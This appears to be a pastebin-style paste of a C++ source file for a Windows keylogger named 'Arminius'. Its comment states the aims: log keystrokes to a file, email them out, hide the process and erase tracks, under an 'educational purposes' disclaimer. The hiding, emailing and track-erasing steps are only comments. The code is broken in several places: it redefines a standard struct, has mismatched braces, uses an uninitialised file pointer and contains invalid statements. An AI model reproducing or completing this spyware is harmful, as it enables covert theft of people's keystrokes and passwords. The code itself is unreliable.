· 6 years ago · Feb 11, 2020, 02:40 PM
1#include<windows.h> //Access windows API
2#include<time.h> //macros
3#include<stdlib.h> //Input/output
4#include<conio.h>
5#include<fstream>
6#include<stdio.h>
7#include<iostream>
8
9using namespace std;
10
11/*
12 Purpose: To record keyboard inputs.
13 Save them in a log file.
14 And send them to a specific email.
15 Extra: Make it undetectable (run in background).
16 Low CPU usage.
17 Erase tracks.
18
19 Only for educational purposes.
20*/
21
22struct tm {
23 int tm_sec;
24 int tm_minute;
25 int tm_hour;
26 int tm_day;
27};
28
29class Arminius {
30
31
32void Log(string input) {
33
34 fstream fPtr;
35 fPtr.open("file1.txt", fstream::app);
36
37 if(fPtr.is_open()) { //check if logfile is open
38 fPtr << input;
39 fPtr.close(); //close the logfile after use.
40 }
41
42}
43
44
45bool keyIsListed(int key) {
46
47 Sleep(10);
48
49 switch(key) {
50
51 case VK_SPACE:
52 Log(" ");
53 return true;
54 case VK_RETURN:
55 Log(" \n ");
56 return true;
57 case VK_SHIFT:
58 Log(" SHIFT ");
59 return true;
60 case VK_BACK:
61 Log(" \b ");
62 return true;
63 case VK_LBUTTON:
64 Log(" LEFT CLICK ");
65 return true;
66 case VK_RBUTTON:
67 Log(" RIGHT CLICK ");
68 return true;
69 case VK_CAPITAL:
70 Log(" CAPITAL ");
71 return true;
72 default:
73 return false;
74}
75
76void main() {
77
78 FILE * fPtr;
79
80 char KEY;
81
82 //hide process
83
84 if(fPtr == NULL) {
85 /*open new textfile in a path*/
86 fPtr = fopen("C:/Programs/file1.txt","w"); //w = write mode
87 }
88
89 /*Check for key hits. If a key is pressed, write it to the file*/
90 while(true) {
91
92 KEY << input;
93 /*Pass key to Log method*/
94 Log(KEY);
95
96
97 //if file size reaches a limit, sent it to email.
98 //delete tracks
99
100
101
102 }
103
104 }
105
106
107 }
108
109}